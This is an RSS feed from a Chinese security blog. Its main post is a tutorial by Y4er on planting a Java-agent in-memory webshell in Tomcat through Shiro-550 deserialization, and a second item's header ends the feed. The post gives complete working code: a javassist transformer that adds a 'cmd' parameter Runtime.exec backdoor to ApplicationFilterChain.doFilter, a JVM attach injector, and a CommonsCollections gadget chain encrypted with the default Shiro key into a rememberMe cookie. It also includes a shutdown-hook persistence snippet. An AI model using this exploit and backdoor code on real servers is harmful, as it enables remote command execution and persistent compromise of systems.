<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>代码审计 &#8211; ChaBug安全</title>
	<atom:link href="/topics/audit/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 01 Oct 2020 14:43:33 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Java Agent实现反序列化注入内存shell</title>
		<link>/audit/1920.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 01 Oct 2020 14:43:33 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1920</guid>

					<description><![CDATA[简述内存shell Java内存shell有很多种，大致分为： 动态注册servlet 动态注册filter 动态注册listener 基于Java agent拦截修改关键类字节码...]]></description>
										<content:encoded><![CDATA[<h1>简述<span class="wpcom_tag_link"><a href="/tags/%e5%86%85%e5%ad%98shell" title="内存shell" target="_blank">内存shell</a></span></h1>
<p>Java内存<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>有很多种，大致分为：</p>
<ol>
<li>动态注册servlet</li>
<li>动态注册filter</li>
<li>动态注册listener</li>
<li>基于Java <span class="wpcom_tag_link"><a href="/tags/agent" title="agent" target="_blank">agent</a></span>拦截修改关键类字节码实现内存shell</li>
</ol>
<p>前三种方法在 <a class="wp-editor-md-post-content-link" href="https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w">《JSP Webshell那些事 &#8212; 攻击篇(下)》</a> 一文中均有讲解，但是前三种方法均需要对中间件大量调试，反射调用一步一步的链条，对于大型中间件比如weblogic这种比较麻烦，无法实现一套代码通用。</p>
<p>那么本文将要讲解的最后一种方法，通过拦截修改关键类的字节码，只需要寻找到关键类做处理即可，进而最大程度实现一套代码通用（理论上）。</p>
<h1>简单认识Java Agent</h1>
<p>在jdk的rt.jar包中存在一个<code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.lang.instrument</code>包，该包提供了一些工具帮助开发人员在 Java 程序运行时，动态修改系统中的 Class 类型。其中，使用该软件包的一个关键组件就是 Javaagent。从名字上看，似乎是个 Java 代理之类的，而实际上，他的功能更像是一个Class 类型的转换器，他可以在运行时接受重新外部请求，对Class类型进行修改。</p>
<p>Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包，并且对该 java 包有2个要求：<br />
1. 这个 jar 包的 <code>MANIFEST.MF</code> 文件必须指定 <code>Premain-Class</code> 项。<br />
2. <code>Premain-Class</code> 指定的那个类必须实现 premain() 方法。</p>
<p>JVM启动时会优先加载agent里面的东西，我们写一个简单的agent来看一下。</p>
<p>项目结构</p>
<pre><code class="language-bash line-numbers">└───src
    └───org
        └───chabug
                Agent.java
                DefineTransformer.java
</code></pre>
<p>org.chabug.Agent.java</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.Instrumentation;

public class Agent {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("agentArgs : " + agentArgs);
        inst.addTransformer(new DefineTransformer(), true);
    }
}
</code></pre>
<p>org.chabug.DefineTransformer.java</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println("premain load Class:" + className);
        return new byte[0];
    }
}
</code></pre>
<p>然后配置打包文件<code>srcMETA-INFMANIFEST.MF</code></p>
<pre><code class="language-yaml line-numbers">Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: org.chabug.Agent

</code></pre>
<p>idea打包为jar文件之后，创建一个新的类<code>org.chabug.Main</code>测试agent</p>
<pre><code class="language-java line-numbers">package org.chabug;

public class Main {
    public static void main(String[] args) {
        System.out.println("thisismain");
    }
}
</code></pre>
<p>idea设置运行时vm参数<code>-javaagent:outartifactsTestAgent_jarTestAgent.jar</code><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/aabc9058-b9af-8553-d97b-974d8bcc5a82.png" alt="image.png" /></p>
<p>运行结果</p>
<pre><code class="language-text line-numbers">agentArgs : null
premain load Class:java/util/concurrent/ConcurrentHashMap$ForwardingNode
premain load Class:sun/misc/URLClassPath$JarLoader$2
premain load Class:java/util/jar/Attributes
premain load Class:java/util/jar/Manifest$FastInputStream
premain load Class:java/lang/StringCoding
premain load Class:java/lang/StringCoding$StringDecoder
premain load Class:java/util/jar/Attributes$Name
premain load Class:sun/misc/ASCIICaseInsensitiveComparator
premain load Class:com/intellij/rt/execution/application/AppMainV2$Agent
premain load Class:com/intellij/rt/execution/application/AppMainV2
premain load Class:com/intellij/rt/execution/application/AppMainV2$1
premain load Class:java/lang/reflect/InvocationTargetException
premain load Class:java/lang/NoSuchMethodException
premain load Class:java/net/Socket
premain load Class:java/net/InetSocketAddress
premain load Class:java/net/SocketAddress
premain load Class:java/net/InetAddress
premain load Class:java/net/InetSocketAddress$InetSocketAddressHolder
premain load Class:sun/security/action/GetBooleanAction
premain load Class:java/lang/invoke/MethodHandleImpl
premain load Class:java/net/InetAddress$1
premain load Class:java/lang/invoke/MethodHandleImpl$1
premain load Class:java/lang/invoke/MethodHandleImpl$2
premain load Class:java/util/function/Function
premain load Class:java/net/InetAddress$InetAddressHolder
premain load Class:java/net/InetAddress$Cache
premain load Class:java/net/InetAddress$Cache$Type
premain load Class:java/net/InetAddressImplFactory
premain load Class:java/lang/invoke/MethodHandleImpl$3
premain load Class:java/lang/invoke/MethodHandleImpl$4
premain load Class:java/lang/ClassValue
premain load Class:java/net/Inet6AddressImpl
premain load Class:java/lang/ClassValue$Entry
premain load Class:java/net/InetAddressImpl
premain load Class:java/lang/ClassValue$Identity
premain load Class:java/lang/ClassValue$Version
premain load Class:java/lang/invoke/MemberName$Factory
premain load Class:java/net/InetAddress$2
premain load Class:java/lang/invoke/MethodHandleStatics
premain load Class:sun/net/spi/nameservice/NameService
premain load Class:java/lang/invoke/MethodHandleStatics$1
premain load Class:java/net/Inet4Address
premain load Class:java/net/SocksSocketImpl
premain load Class:java/net/SocksConsts
premain load Class:sun/misc/PostVMInitHook
premain load Class:java/net/PlainSocketImpl
premain load Class:sun/misc/PostVMInitHook$2
premain load Class:java/net/AbstractPlainSocketImpl
premain load Class:jdk/internal/util/EnvUtils
premain load Class:sun/misc/PostVMInitHook$1
premain load Class:java/net/SocketImpl
premain load Class:java/net/SocketOptions
premain load Class:sun/usagetracker/UsageTrackerClient
premain load Class:java/net/AbstractPlainSocketImpl$1
premain load Class:java/util/concurrent/atomic/AtomicBoolean
premain load Class:sun/usagetracker/UsageTrackerClient$1
premain load Class:java/net/PlainSocketImpl$1
premain load Class:sun/usagetracker/UsageTrackerClient$4
premain load Class:sun/misc/FloatingDecimal
premain load Class:sun/usagetracker/UsageTrackerClient$2
premain load Class:sun/misc/FloatingDecimal$ExceptionalBinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIConverter
premain load Class:sun/usagetracker/UsageTrackerClient$3
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$1
premain load Class:sun/misc/FloatingDecimal$PreparedASCIIToBinaryBuffer
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryConverter
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryBuffer
premain load Class:java/net/DualStackPlainSocketImpl
premain load Class:java/lang/StringCoding$StringEncoder
premain load Class:java/net/Inet6Address
premain load Class:java/io/FileOutputStream$1
premain load Class:java/net/Inet6Address$Inet6AddressHolder
premain load Class:sun/launcher/LauncherHelper
premain load Class:java/net/SocksSocketImpl$3
premain load Class:sun/nio/cs/MS1252
premain load Class:java/net/ProxySelector
premain load Class:sun/nio/cs/SingleByte
premain load Class:sun/net/spi/DefaultProxySelector
premain load Class:sun/nio/cs/SingleByte$Decoder
premain load Class:sun/net/spi/DefaultProxySelector$1
premain load Class:sun/net/NetProperties
premain load Class:sun/net/NetProperties$1
premain load Class:org/chabug/Main
premain load Class:sun/launcher/LauncherHelper$FXHelper
premain load Class:java/util/Properties$LineReader
premain load Class:java/lang/Class$MethodArray
premain load Class:java/lang/Void
thisismain
premain load Class:java/lang/Shutdown
premain load Class:java/net/URI
premain load Class:java/lang/Shutdown$Lock
</code></pre>
<p>可以看到agent的<code>org.chabug.Agent#premain</code>优于Main方法而先被运行，并且在<code>org.chabug.DefineTransformer#transform</code>获取到了JVM加载的类。</p>
<p>那么思路回到内存shell的思路中，如果我们把这个agent加载到jvm中，那么就可以通过javassist进行字节码插桩，修改tomcat的filter实现类，从而实现内存马。</p>
<p>现在的问题就在于：</p>
<ol>
<li>javassist 应该修改哪个关键类？</li>
<li>如何指定运行时tomcat的<code>-javaagent</code>参数？</li>
<li>如何修改tomcat运行后已经加载的类？</li>
<li>如何通过<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>注入</li>
</ol>
<h1>寻找关键类</h1>
<p>tomcat filter内存shell有无数的分析文章，其中大部分都提到了一个关键类<code>org.apache.catalina.core.ApplicationFilterChain#doFilter</code><br />
<img src="/wp-content/uploads/2020/10/02f7b000-46b4-ebb6-208c-fbc57bd4fab2.png" alt="image.png" /></p>
<p>该方法有ServletRequest和ServletResponse两个参数，里面封装了请求的request和response。另外，internalDoFilter方法是自定义filter的入口，如果在这里拦截，那么filter既通用，又不影响正常业务。</p>
<p>来写agent</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.Instrumentation;

public class MyAgent {
    // tomcat FilterChain
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new MyTransformer(), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();

        for (int i = 0; i &lt; loadedClasses.length; ++i) {
            Class clazz = loadedClasses[i];
            if (clazz.getName().equals(ClassName)) {
                try {
                    inst.retransformClasses(new Class[]{clazz});
                } catch (Exception var9) {
                    var9.printStackTrace();
                }
            }
        }
//        System.out.println("agent done");
    }

    public static void premain(String args, Instrumentation inst) throws Exception {

    }
}
</code></pre>
<p>定义transform</p>
<pre><code class="language-java line-numbers">package org.chabug;

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class&lt;?&gt; aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace('/', '.');

        if (className.equals(ClassName)) {
//            System.out.println(":::::::::::::::::::find shiro ApplicationFilterChain:" + className);
            ClassPool cp = ClassPool.getDefault();
            if (aClass != null) {
                ClassClassPath classPath = new ClassClassPath(aClass);
                cp.insertClassPath(classPath);
            }
            CtClass cc;
            try {
                cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;n" +
                        "            javax.servlet.ServletResponse res = response;" +
                        "String cmd = req.getParameter("cmd");n" +
                        "if (cmd != null) {n" +
                        "Process process = Runtime.getRuntime().exec(cmd);n" +
                        "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(n" +
                        "new java.io.InputStreamReader(process.getInputStream()));n" +
                        "StringBuilder stringBuilder = new StringBuilder();n" +
                        "String line;n" +
                        "while ((line = bufferedReader.readLine()) != null) {n" +
                        "stringBuilder.append(line + '\n');n" +
                        "}n" +
                        "res.getOutputStream().write(stringBuilder.toString().getBytes());n" +
                        "res.getOutputStream().flush();n" +
                        "res.getOutputStream().close();n" +
                        "}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (NotFoundException | IOException | CannotCompileException e) {
                e.printStackTrace();
//                System.out.println("error:::::::::::::::::::::" + e.getMessage());
            }
        }

        return new byte[0];
    }
}
</code></pre>
<h1>如何指定<code>-javaagent</code>参数</h1>
<p>tomcat运行前我们无法控制命令行参数，但是运行时JVM提供了<code>com.sun.tools.attach.VirtualMachine</code>的api，可以通过这个类attach jvm，然后通过<code>loadAgent()</code>函数把agent加载进去。</p>
<p>然后在这里又碰到了坑，<code>com.sun.tools.attach.VirtualMachine</code>这个类是JDK的<code>C:Program FilesJavajdk1.8.0_251libtools.jar</code>包中，在tomcat运行时是jre环境，获取不到这个类。我的办法是通过URLClassLoader加载<code>java.home</code>拼接出来的jar包路径，然后反射获取类和方法。</p>
<p>实现代码</p>
<pre><code class="language-java line-numbers">package org.chabug;

public class Main {
    public static void main(String[] args) throws Exception {
        if (args.length == 0) {
            return;
        }
        String agentPath = args[0];
        try {
            java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");
            java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();
            java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});
            add.setAccessible(true);
            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});
            Class&lt;?&gt; MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class&lt;?&gt; MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", new java.lang.Class[]{});
            java.util.List&lt;Object&gt; invoke = (java.util.List&lt;Object&gt;) list.invoke(null, new Object[]{});
//            System.out.println(invoke);

            for (int i = 0; i &lt; invoke.size(); i++) {
                Object o = invoke.get(i);
                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", new Class[]{});
                Object name = displayName.invoke(o, new Object[]{});
                System.out.println(String.format("find jvm process name:[[[" +
                        "%s" +
                        "]]]", name.toString()));
                if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});
                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});
                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});
                    loadAgent.invoke(machine, new Object[]{agentPath});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", new Class[]{});
                    detach.invoke(machine, new Object[]{});
                    System.out.println("inject tomcat done, break.");
                    System.out.println("check url http://localhost:8080/?cmd=whoami");
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>运行这个类，传入agentPath就可以注入agent了。</p>
<p>在这里还碰到一个坑:<code>VirtualMachine.list()</code>获取为空，后来发现双击tomcat的startup.bat启动，在jconsole中也找不到jvm进程，然后一顿乱试发现通过命令行运行startup.bat就可以了。</p>
<h1>如何修改tomcat运行后已经加载的类</h1>
<p>其实这个问题在上面写agent的时候已经解决了，关键代码</p>
<pre><code class="language-java line-numbers">Class[] loadedClasses = inst.getAllLoadedClasses();

for (int i = 0; i &lt; loadedClasses.length; ++i) {
    Class clazz = loadedClasses[i];
    if (clazz.getName().equals(ClassName)) {
        try {
            inst.retransformClasses(new Class[]{clazz});
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>通过<code>Instrumentation</code>的<code>getAllLoadedClasses()</code>就能拿到tomcat运行后已经加载的类，再通过<code>retransformClasses()</code>重新转换下就可以了。</p>
<h1>如何通过反序列化注入</h1>
<p>我这里是shiro550 tomcat9的环境，根据 https://github.com/feihong-cs/ShiroExploit 的ysoserial工具抠出来CC10的链条，改了改。</p>
<pre><code class="language-java line-numbers">package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

// 依赖 commons-collections:commons-collections:3.2.1
// 依赖于 ysoserial javassist
public class CC10 {

    static {
        System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    }

    public static Object createTemplatesImpl(String command) throws Exception {
        return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    public static &lt;T&gt; T createTemplatesImpl(String agentPath, Class&lt;T&gt; tplClass, Class&lt;?&gt; abstTranslet, Class&lt;?&gt; transFactory) throws Exception {
        T templates = tplClass.newInstance();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = String.format(
                "        try {n" +
                        "java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");n" +
                        "java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();n" +
                        "java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});n" +
                        "add.setAccessible(true);n" +
                        "            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});n" +
                        "Class/*&lt;?&gt;*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");n" +
                        "            Class/*&lt;?&gt;*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");" +
                        "java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", null);n" +
                        "            java.util.List/*&lt;Object&gt;*/ invoke = (java.util.List/*&lt;Object&gt;*/) list.invoke(null, null);" +
                        "for (int i = 0; i &lt; invoke.size(); i++) {" +
                        "Object o = invoke.get(i);n" +
                        "                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", null);n" +
                        "                Object name = displayName.invoke(o, null);n" +
                        "if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {" +
                        "                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});n" +
                        "                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});n" +
                        "                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});n" +
                        "                    loadAgent.invoke(machine, new Object[]{"%s"});n" +
                        "                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);n" +
                        "                    detach.invoke(machine, null);n" +
                        "                    break;n" +
                        "}" +
                        "}" +
                        "} catch (Exception e) {n" +
                        "            e.printStackTrace();n" +
                        "        }"
                , agentPath.replaceAll("\\", "\\\\").replaceAll(""", "\""));

        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
        byte[] classBytes = clazz.toBytecode();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

    public static String classAsFile(Class&lt;?&gt; clazz) {
        return classAsFile(clazz, true);
    }

    public static String classAsFile(Class&lt;?&gt; clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }

        if (suffix) {
            str = str + ".class";
        }

        return str;
    }

    public static byte[] classAsBytes(Class&lt;?&gt; clazz) {
        try {
            byte[] buffer = new byte[1024];
            String file = classAsFile(clazz);
            InputStream in = CC10.class.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            } else {
                ByteArrayOutputStream out = new ByteArrayOutputStream();

                int len;
                while ((len = in.read(buffer)) != -1) {
                    out.write(buffer, 0, len);
                }

                return out.toByteArray();
            }
        } catch (IOException var6) {
            throw new RuntimeException(var6);
        }
    }


    public static void main(String[] args) throws Exception {
        // this is your agent path
        String command = "E:\code\java\MyAgent\out\artifacts\MyAgent_jar\MyAgent.jar";
        Object templates = createTemplatesImpl(command);
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;

        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException var17) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = null;
        innimpl = (HashMap) f.get(map);
        Field f2 = null;

        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException var16) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = new Object[0];
        array = (Object[]) ((Object[]) f2.get(innimpl));
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }

        Field keyField = null;

        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception var15) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

        byte[] bytes = Serializables.serializeToBytes(map);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
        System.out.println(rememberMe);
    }

    public static class Foo implements Serializable {
        private static final long serialVersionUID = 8207363842866235160L;

        public Foo() {
        }
    }

    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        private static final long serialVersionUID = -5971610431559700674L;

        public StubTransletPayload() {
        }

        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }

        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    }


}

class Serializables {
    public static byte[] serializeToBytes(final Object obj) throws Exception {
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        objOut.flush();
        objOut.close();
        return out.toByteArray();
    }


    public static Object deserializeFromBytes(final byte[] serialized) throws Exception {
        final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        final ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }

    public static void serializeToFile(String path, Object obj) throws Exception {
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将obj对象写入object文件
        os.writeObject(obj);
        os.close();
    }

    public static Object serializeFromFile(String path) throws Exception {
        FileInputStream fis = new FileInputStream(path);
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 通过Object的readObject()恢复对象
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }

}


class EncryptUtil {
    private static final String ENCRY_ALGORITHM = "AES";
    private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
    private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes();     // 16字节IV

    public EncryptUtil() {
    }

    public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
        try {
            SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
            Cipher cipher = Cipher.getInstance(CIPHER_MODE);
            IvParameterSpec iv = new IvParameterSpec(IV);
            cipher.init(1, keySpec, iv);
            byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
            return cipherTextBytes;
        } catch (NoSuchPaddingException var6) {
            var6.printStackTrace();
        } catch (NoSuchAlgorithmException var7) {
            var7.printStackTrace();
        } catch (BadPaddingException var8) {
            var8.printStackTrace();
        } catch (IllegalBlockSizeException var9) {
            var9.printStackTrace();
        } catch (InvalidKeyException var10) {
            var10.printStackTrace();
        } catch (Exception var11) {
            var11.printStackTrace();
        }

        return null;
    }

    public static String shiroEncrypt(String key, byte[] objectBytes) {
        byte[] pwd = Base64.decode(key);
        byte[] cipher = encrypt(objectBytes, pwd);

        assert cipher != null;

        byte[] output = new byte[pwd.length + cipher.length];
        byte[] iv = IV;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
        return Base64.encode(output);
    }
}
</code></pre>
<p>在javassist插桩的时候碰到很多坑，比如泛型要用<code>/**/</code>包起来，反射的可变参数的处理等等，不一一细讲，参考我的代码就行了。</p>
<h1>效果</h1>
<p><img src="/wp-content/uploads/2020/10/21f519ec-a731-13c4-eb06-60d03b75fc67.gif" alt="shell.gif" /></p>
<p>项目地址：https://github.com/Y4er/javaagent-tomcat-memshell</p>
<h1>思考</h1>
<p>写到这里又看了一些文章，发现了一些问题。</p>
<h2>内存shell复活</h2>
<p>@rebeyond 师傅的memShell项目实现了内存shell复活，原理是通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的，但是会有一个jar包循环等待jvm进程起来，更敏感，我就没实现这个东西，代码贴出来</p>
<pre><code class="language-java line-numbers">public static void persist() {
     try {
         Thread t = new Thread() {
             public void run() {
                 try {
                     writeFiles("inject.jar",Agent.injectFileBytes);
                     writeFiles("agent.jar",Agent.agentFileBytes);
                     startInject();
                 } catch (Exception e) {

                 }
             }
         };
         t.setName("shutdown Thread");
         Runtime.getRuntime().addShutdownHook(t);
     } catch (Throwable t) {
     }
}
</code></pre>
<p>JVM关闭前，会先调用writeFiles把inject.jar和agent.jar写到磁盘上，然后调用startInject，startInject通过Runtime.exec启动<code>java -jar inject.jar</code>。</p>
<h2>文件落地并且被锁定</h2>
<p>用javaagent的形式实现的内存shell，你需要落地一个agent进去，加载agent之后jar不能被删除，而落地agent会不会更敏感？</p>
<p>与其落地文件为什么不直接落地jsp shell，获取对于mvc和springboot这种有点作用，但是内存shell的意义确实被削弱了。</p>
<h2>通用性</h2>
<p>只需要寻找关键类即可，对于tomcat、weblogic这种还算通用，完全可以实现一个agent.jar通杀。</p>
<h2>关键类寻找</h2>
<p>如果关键类找不对，或者错了几个参数的命名，那么中间件正常处理filter的逻辑很可能发生错误，中间件很可能被打挂。虽然可以本地环境调试，但是每个发行版不同、补丁数的不同所带来的不稳定因素还是很大的。</p>
<h2>结论</h2>
<p>所以个人而言，agent类型的内存shell只能作为内存shell的一种开拓性思路，实际环境更应该倾向于servlet、filter这种内存shell，重在稳定。</p>
<h1>参考</h1>
<ol>
<li>https://www.cnblogs.com/rebeyond/p/9686213.html</li>
<li>https://github.com/rebeyond/memShell</li>
<li>https://www.cnblogs.com/rickiyang/p/11368932.html</li>
<li>https://github.com/Y4er/javaagent-tomcat-memshell</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>关于某EDR多处RCE漏洞的简单分析</title>
		<link>/audit/1838.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 17 Aug 2020 16:01:06 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[rce]]></category>
		<guid isPermaLink="false">/?p=1838</guid>

